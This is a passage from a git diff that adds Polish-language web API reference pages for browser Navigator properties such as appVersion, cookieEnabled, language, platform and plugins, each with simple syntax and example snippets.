+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">appName = window.navigator.appName
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>appName</code> jest nazwą przeglądarki, zwracaną jako łańcuch znaków.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>dump(window.navigator.appName);
+// dla NS6 wypisuje w konsoli "Navigator"
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.appName", "ja": "ja/DOM/window.navigator.appName" } ) }}</p>
diff --git a/files/pl/web/api/navigator/appversion/index.html b/files/pl/web/api/navigator/appversion/index.html
new file mode 100644
index 0000000000..3d08f23cee
--- /dev/null
+++ b/files/pl/web/api/navigator/appversion/index.html
@@ -0,0 +1,32 @@
+---
+title: window.navigator.appVersion
+slug: Web/API/Navigator/appVersion
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorID/appVersion
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wersję przeglądarki jako łańcuch znaków.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">ver = window.navigator.appVersion
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>ver</code> jest numerem wersji przeglądarki, zwracanym jako łańcuch znaków.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>if ( navigator.appVersion.charAt(0) == "5" ) {
+ // prawdopodobnie jest to piąta wersja przeglądarki
+ }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Własność window.navigator.userAgent również zawiera numer wersji przeglądarki (przykładowo: "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"), lecz powinniśmy mieć świadomość jak łatwo jest zmienić ciąg user-agent i "naśladować" inne przeglądarki, platformy lub pośredników użytkownika oraz jak bezmyślni są sami producenci przeglądarek w ustawianiu tej wartości. Własności window.navigator.appVersion i window.navigator.userAgent są dość często stosowane w kodzie "szpiegującym przeglądarki": skryptach, które próbują dowiedzieć się jakiej używasz przeglądarki i wyświetlić stosowną do niej stronę.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.appVersion", "ja": "ja/DOM/window.navigator.appVersion" } ) }}</p>
diff --git a/files/pl/web/api/navigator/buildid/index.html b/files/pl/web/api/navigator/buildid/index.html
new file mode 100644
index 0000000000..2f35af6f92
--- /dev/null
+++ b/files/pl/web/api/navigator/buildid/index.html
@@ -0,0 +1,41 @@
+---
+title: Navigator.buildID
+slug: Web/API/Navigator/buildID
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/buildID
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca identyfikator kompilacji przeglądarki.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>buildID</i> =
+<i>navigator</i>.buildID;
+</pre>
+
+<p><code>buildID</code> jest identyfikatorem kompilacji aplikacji, zwracanym jako łańcuch znakówi. ID kompilacji jest w formie &lt;tt&gt;YYYYMMDDHH&lt;/tt&gt; (gdzie: Y - rok, M - miesiąc, D - dzień, H - godzina).</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">dump(window.navigator.buildID);
+// wyświetla w konsoli "2006090803"
+</pre>
+
+<h3 id="Uwaga" name="Uwaga">Uwaga</h3>
+
+<p>Dostępne w <a href="pl/Firefox_2">Firefoksie 2</a> (<a href="pl/Gecko">Gecko</a> 1.8.1) i późniejszych. Zaimplementowane w {{ Bug(345993) }}.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Nie jest częścią żadnego publicznego standardu.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.buildID", "ja": "ja/DOM/window.navigator.buildID" } ) }}</p>
diff --git a/files/pl/web/api/navigator/cookieenabled/index.html b/files/pl/web/api/navigator/cookieenabled/index.html
new file mode 100644
index 0000000000..43c12ee2de
--- /dev/null
+++ b/files/pl/web/api/navigator/cookieenabled/index.html
@@ -0,0 +1,45 @@
+---
+title: Navigator.cookieEnabled
+slug: Web/API/Navigator/cookieEnabled
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/cookieEnabled
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Posumowanie" name="Posumowanie">Posumowanie</h3>
+
+<p>Zwraca wartość logiczną tylko do odczytu, wskazującą czy obsługa ciasteczek jest włączona, czy nie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var cookieEnabled = navigator.cookieEnabled;
+</pre>
+
+<ul>
+ <li><code>cookieEnabled</code> jest wartością logiczną <code>true</code> lub <code>false</code>.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if (!navigator.cookieEnabled) {
+ // poinformuj użytkownika, że przy włączonych ciasteczkach
+ // strona jest bardziej użyteczna
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>W związku z {{ Bug(230350) }}, <code>cookieEnabled</code> może zwracać błędny wynik w aplikacjach opartych o Gecko.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.cookieEnabled", "ja": "ja/DOM/window.navigator.cookieEnabled" } ) }}</p>
diff --git a/files/pl/web/api/navigator/index.html b/files/pl/web/api/navigator/index.html
new file mode 100644
index 0000000000..6ef2055b7a
--- /dev/null
+++ b/files/pl/web/api/navigator/index.html
@@ -0,0 +1,119 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+translation_of: Web/API/Navigator
+---
+<p>{{ apiref() }}</p>
+
+<p>The <code><strong>Navigator</strong></code> interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities.</p>
+
+<p>A <code>Navigator</code> object can be retrieved using the read-only {{domxref("Window.navigator")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Doesn't inherit any property, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorGeolocation")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, and {{domxref("NetworkInformation")}}.</em></p>
+
+<h3 id="Standard">Standard</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the internal "code" name of the current browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the official name of the browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the version of the browser as a {{domxref("DOMString")}}. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("BatteryManager")}} object you can use to get information about the battery charging status.</dd>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Provides a {{domxref("Connection")}} with information about the network connection of a device.</dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Returns a string that represents the current operating system.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a string representing the platform of the browser. Do not rely on this function to return a significant value.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Always returns <code>'Gecko'</code>, on any browser. This property is kept only for compatibility purpose.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Non-standard</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build identifier of the browser (e.g., "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether cookies are enabled in the browser or not.</dd>
+ <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Reports the value of the user's do-not-track preference. When this value is "yes", your web site or application should not track the user.</dd>
+ <dt>{{domxref("navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Returns the {{domxref("window.navigator.id", "id")}} object which you can use to add support for <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> to your web site.</dd>
+ <dt>{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}</dt>
+ <dd>Returns an {{domxref("window.navigator.mozApps", "Apps")}} object you can use to install, manage, and control <a href="/Open_Web_Apps" title="Open Web apps">Open Web apps</a>.</dd>
+ <dt>{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}</dt>
+ <dd>The <code>navigator.mozAudioChannelManager</code> object provides access to the {{domxref("mozAudioChannelManager")}} interface, which is used to manage your Firefox OS device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.</dd>
+ <dt>{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}</dt>
+ <dd>Returns a {{domxref("navigator.mozNotification", "notification")}} object you can use to deliver notifications to the user from your web application.</dd>
+ <dt>{{domxref("navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>The Object, returned by the <code>navigator.mozSocial</code> property, is available within the social media provider's panel to provide functionality it may need.</dd>
+ <dt>{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build number of the current browser (e.g., "20060909").</dd>
+ <dt>{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt>{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd>
+ <dt>{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd>
+ <dt>{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd>Returns the vendor version number (e.g. "6.1").</dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API"><code>navigator.webkitPointer</code></a> {{non-standard_inline}}</dt>
+ <dd>Returns a PointerLock object for the <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<p><em>Doesn't inherit any method, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, </em>and {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Standard_2">Standard</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorUserMedia.getUserMedia()")}}</dt>
+ <dd>After having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer.</dd>
+ <dt>{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given MIME type.</dd>
+ <dt>{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Returns <code>false</code>. JavaScript taint/untaint functions removed in JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Non standard</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}</dt>
+ <dd>Lets code check to see if the document at a given URI is available without using the network.</dd>
+ <dt>{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}</dt>
+ <dd>Allows in-app payment.</dd>
+ <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt>
+ <dd>Sets a user preference. This method is <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">only available to privileged code</a> and is obsolete; you should use the XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a> instead.</dd>
+ <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt>
+ <dd>Request a wake lock for a resource. A wake lock prevents a specific part of a device from being turned off automatically.</dd>
+</dl>
diff --git a/files/pl/web/api/navigator/javaenabled/index.html b/files/pl/web/api/navigator/javaenabled/index.html
new file mode 100644
index 0000000000..291d27782e
--- /dev/null
+++ b/files/pl/web/api/navigator/javaenabled/index.html
@@ -0,0 +1,39 @@
+---
+title: NavigatorPlugins.javaEnabled
+slug: Web/API/Navigator/javaEnabled
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorPlugins/javaEnabled
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Ta metoda wskazuje czy w aktualnej przeglądarce została włączona obsługa Javy.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>result</i> = window.navigator.javaEnabled()
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if (window.navigator.javaEnabled()) {
+ // przeglądarka posiada Javę
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zwracana przez tę metodę wartość wskazuje czy Java jest włączona czy też nie - a nie czy przeglądarka w ogóle obsługuje Javę.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.javaEnabled", "ja": "ja/DOM/window.navigator.javaEnabled" } ) }}</p>
diff --git a/files/pl/web/api/navigator/language/index.html b/files/pl/web/api/navigator/language/index.html
new file mode 100644
index 0000000000..1dcc4daabc
--- /dev/null
+++ b/files/pl/web/api/navigator/language/index.html
@@ -0,0 +1,45 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/Navigator/language
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorLanguage/language
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>lang</i> = window.navigator.language
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>lang</code> jest dwu znakowym łańcuchem znaków (na przykład "en" lub "ja") reprezentującym wersję języka.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>if ( window.navigator.language != "pl" ) {
+ doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ta własność pojawia się również jako część łańcucha znaków <a href="pl/DOM/window.navigator.userAgent">navigator.userAgent</a>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.language", "ja": "ja/DOM/window.navigator.language" } ) }}</p>
diff --git a/files/pl/web/api/navigator/mimetypes/index.html b/files/pl/web/api/navigator/mimetypes/index.html
new file mode 100644
index 0000000000..371e75eff2
--- /dev/null
+++ b/files/pl/web/api/navigator/mimetypes/index.html
@@ -0,0 +1,40 @@
+---
+title: NavigatorPlugins.mimeTypes
+slug: Web/API/Navigator/mimeTypes
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorPlugins/mimeTypes
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca obiekt <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeTypeArray.html">MimeTypeArray</a></code>, który zawiera listę obiektów <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeType.html">MimeType</a></code> reprezentujących typy MIME rozpoznawane przez przeglądarkę.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>mimeTypes</i> = navigator.mimeTypes;
+</pre>
+
+<p><code>mimeTypes</code> jest obiektem <code><a class="external" href="http://www.xulplanet.com/references/objref/MimeTypeArray.html">MimeTypeArray</a></code>, który posiada zarówno własność <code>length</code> jak i metody <code>item(index)</code> oraz <code>namedItem(name)</code>.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre> alert(window.navigator.mimeTypes.item(0).description); // wyświetli ostrzeżenie "Mozilla Default Plug-in"
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Wartością własności <code>type</code> w zerowym elemencie (obiekt <code>MimeType</code> "Mozilla Default Plug-in") jest <code>*</code> zamiast typowego formatu MIME jak np. <code>"image/x-macpaint"</code></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.mimeTypes", "ja": "ja/DOM/window.navigator.mimeTypes" } ) }}</p>
diff --git a/files/pl/web/api/navigator/mozpermissionsettings/index.html b/files/pl/web/api/navigator/mozpermissionsettings/index.html
new file mode 100644
index 0000000000..df0966e04e
--- /dev/null
+++ b/files/pl/web/api/navigator/mozpermissionsettings/index.html
@@ -0,0 +1,33 @@
+---
+title: Navigator.mozPermissionSettings
+slug: Web/API/Navigator/mozPermissionSettings
+translation_of: Archive/B2G_OS/API/Navigator/mozPermissionSettings
+---
+<p>{{APIRef("Firefox OS")}}{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Returns a {{ domxref("PermissionSettings") }} object you can use to get and set permissions of apps on the Firefox OS platform.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var permissions = window.navigator.mozPermissionSettings;
+</pre>
+
+<h2 id="Value">Value</h2>
+
+<p><code>navigator.mozPermissionSettings</code> is a {{domxref("PermissionSettings")}} object.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("PermissionSettings") }}</li>
+ <li>The <a href="/en-US/docs/Web/API/Permissions_API_(Firefox_OS)">Permissions API (Firefox OS)</a></li>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions</a></li>
+</ul>
diff --git a/files/pl/web/api/navigator/online/index.html b/files/pl/web/api/navigator/online/index.html
new file mode 100644
index 0000000000..20bbd73fb0
--- /dev/null
+++ b/files/pl/web/api/navigator/online/index.html
@@ -0,0 +1,47 @@
+---
+title: NavigatorOnLine.onLine
+slug: Web/API/Navigator/onLine
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorOnLine/onLine
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online, czy nie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>online</i> =
+<i>window</i>.navigator.onLine;
+</pre>
+
+<ul>
+ <li><code>online</code> przyjmuje wartość logiczną <code>true</code> (prawda) lub <code>false</code> (fałsz).</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">alert(navigator.onLine ? "Jesteś online" : "Jesteś offline");
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zobacz <a href="pl/Zdarzenia_Online%2f%2fOffline">Zdarzenia Online/Offline‎</a>, aby uzyskać bardziej szczegółowy opis tej własności, jak również nowych funkcji związanych z trybem offline, wprowadzonych w Firefoksie 3.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<p>Opisana w <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#navigator.online">szkicu roboczym HTML 5</a></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.onLine", "fr": "fr/DOM/window.navigator.onLine", "ja": "ja/DOM/window.navigator.onLine" } ) }}</p>
diff --git a/files/pl/web/api/navigator/oscpu/index.html b/files/pl/web/api/navigator/oscpu/index.html
new file mode 100644
index 0000000000..69a9f9deb4
--- /dev/null
+++ b/files/pl/web/api/navigator/oscpu/index.html
@@ -0,0 +1,41 @@
+---
+title: Navigator.oscpu
+slug: Web/API/Navigator/oscpu
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Navigator/oscpu
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca łańcuch znaków reprezentujący bieżący system operacyjny.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>oscpuInfo</i> = window.navigator.oscpu
+</pre>
+
+<ul>
+ <li><code>oscpu</code> jest łańcuchem znaków przyjmującym poniższą formę.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>function osInfo() {
+alert(window.navigator.oscpu);
+}
+// zwraca: Windows NT 6.0
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.navigator.oscpu", "ja": "ja/DOM/window.navigator.oscpu" } ) }}</p>
diff --git a/files/pl/web/api/navigator/platform/index.html b/files/pl/web/api/navigator/platform/index.html
new file mode 100644
index 0000000000..3a73ee3c2e
--- /dev/null
+++ b/files/pl/web/api/navigator/platform/index.html
@@ -0,0 +1,28 @@
+---
+title: window.navigator.platform
+slug: Web/API/Navigator/platform
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorID/platform
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca łańcuch znaków reprezentujący platformę przeglądarki.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>platform</i> =<i>navigator</i>.platform
+</pre>
+<p><code>platform</code> jest łańcuchem znaków z jedną z następujących wartości: "Win32", "Linux i686", "MacPPC", "MacIntel" lub inną.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">alert(navigator.platform);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeśli Twój kod nie jest uprzywilejowany (chrome lub przynajmniej kod z uprawnieniem UniversalBrowserRead), może on otrzymać wartość opcji &lt;tt&gt;general.platform.override&lt;/tt&gt; zamiast prawdziwej platformy.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.platform", "ja": "ja/DOM/window.navigator.platform" } ) }}</p>
diff --git a/files/pl/web/api/navigator/plugins/index.html b/files/pl/web/api/navigator/plugins/index.html
new file mode 100644
index 0000000000..c60d9f6614
--- /dev/null
+++ b/files/pl/web/api/navigator/plugins/index.html
@@ -0,0 +1,58 @@
+---
+title: NavigatorPlugins.plugins
+slug: Web/API/Navigator/plugins
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorPlugins/plugins
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca obiekt <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/PluginArray">PluginArray</a></code> będący listą wszystkich wtyczek zainstalowanych w aplikacji.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>plugins</em> = navigator.plugins;
+</pre>
+
+<p><code>plugins</code> jest tabelą <code>PluginArray</code> zawierającą obiekty <code><a class="external" href="https://developer.mozilla.org/pl/docs/Web/API/Plugin">Plugin</a></code> reprezentujące zainstalowane wtyczki.</p>
+
+<p>Zwrócona wartość nie jest jest tablicą JavaScript, ale posiada własność <code>length</code> i obsługuje dostęp do poszczególnych elementów za pomocą notacji nawiasowej (<code>plugins{{ mediawiki.external(2) }}</code>) jak również poprzez metody <code>item(<em>index</em> )</code> i <code>namedItem(<em>"name"</em> )</code>.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
